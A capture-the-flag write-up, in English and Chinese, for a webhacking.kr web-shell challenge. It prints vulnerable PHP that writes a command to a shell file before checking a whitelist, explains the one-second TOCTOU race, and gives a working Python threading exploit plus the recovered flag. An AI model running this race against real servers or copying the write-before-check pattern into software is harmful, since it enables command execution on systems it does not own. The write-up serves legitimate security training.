Challenge
The page is a web shell whose front end posts commands to a JSON
endpoint.
页面是一个 WebShell,前端把命令发到 JSON endpoint。
1
| http://webhacking.kr:10019/
|
前端脚本把输入发到:
1
| fetch("/api.php?q=" + escape(text_))
|
页面显示提示符
WebShell:/ $,并把响应文本追加到终端。
Analysis
api.php 每次都把命令写进按 cookie
命名的脚本文件,而且先写文件、后校验:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php if(!preg_match('/^[a-f0-9]+$/', $_COOKIE['baby_toctou'])){ $newCookie = uniqid().rand(1,999999999); setcookie("baby_toctou", $newCookie); $_COOKIE['baby_toctou'] = $newCookie; } $cmd = $_GET['q']; $myfile = fopen("user/{$_COOKIE['baby_toctou']}.sh", "w") or die("Unable to open file!"); fwrite($myfile, $cmd); fclose($myfile); if(($cmd === "ls") || ($cmd === "cat api.php") || ($cmd === "cat index.php")){ sleep(1); system("sh ./user/{$_COOKIE['baby_toctou']}.sh"); } else{ echo 'only "ls", "cat api.php", "cat index.php" allowed'; } ?>
|
fwrite() 在校验之前执行,system()
在校验之后、并且隔着 sleep(1)。这 1 秒就是 TOCTOU
窗口:先发一个通过校验的请求,再在窗口内用同一个 cookie
发第二个被拒绝的请求覆写脚本文件,第一个请求醒来后执行的是第二个请求写进去的内容。
cookie 只需要满足
/^[a-f0-9]+$/,所以可以自己指定一个纯十六进制值固定住文件名,不必等
setcookie 分配。
Solution
两个请求必须共用同一个 baby_toctou
cookie:第一个是校验通过的 q=ls,第二个在窗口内写
payload。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import threading import time
import requests
URL = "http://webhacking.kr:10019/api.php" COOKIES = {"baby_toctou": "abc123abc123abc"} PAYLOAD = "cat flag.php"
result = {}
def checked_request() -> None: """校验通过的那一发:写 ls、睡 1 秒、然后执行 user/<cookie>.sh。""" response = requests.get(URL, params={"q": "ls"}, cookies=COOKIES, timeout=25) result["out"] = response.text
def main() -> None: worker = threading.Thread(target=checked_request) worker.start() time.sleep(0.25) requests.get(URL, params={"q": PAYLOAD}, cookies=COOKIES, timeout=25) worker.join() print(result["out"])
if __name__ == "__main__": main()
|
q=ls 那一发的响应里,system()
的输出已经被换成了 payload 的执行结果:
1 2 3
| <?php $flag = "FLAG{Mama_i_know_how_toctou_works}"; ?>
|
payload 请求的响应是
only "ls", "cat api.php", "cat index.php" allowed,因为该请求只覆写文件,不执行命令。
复现边界:api.php
源码、白名单、写文件顺序、sleep(1) 窗口与 flag
均为现网实测;窗口是 1 秒,本机到该节点延迟约 40 ms,0.25
秒偏移一次命中,网络抖动时可在 0.1–0.6 秒之间重试。
FLAG{Mama_i_know_how_toctou_works}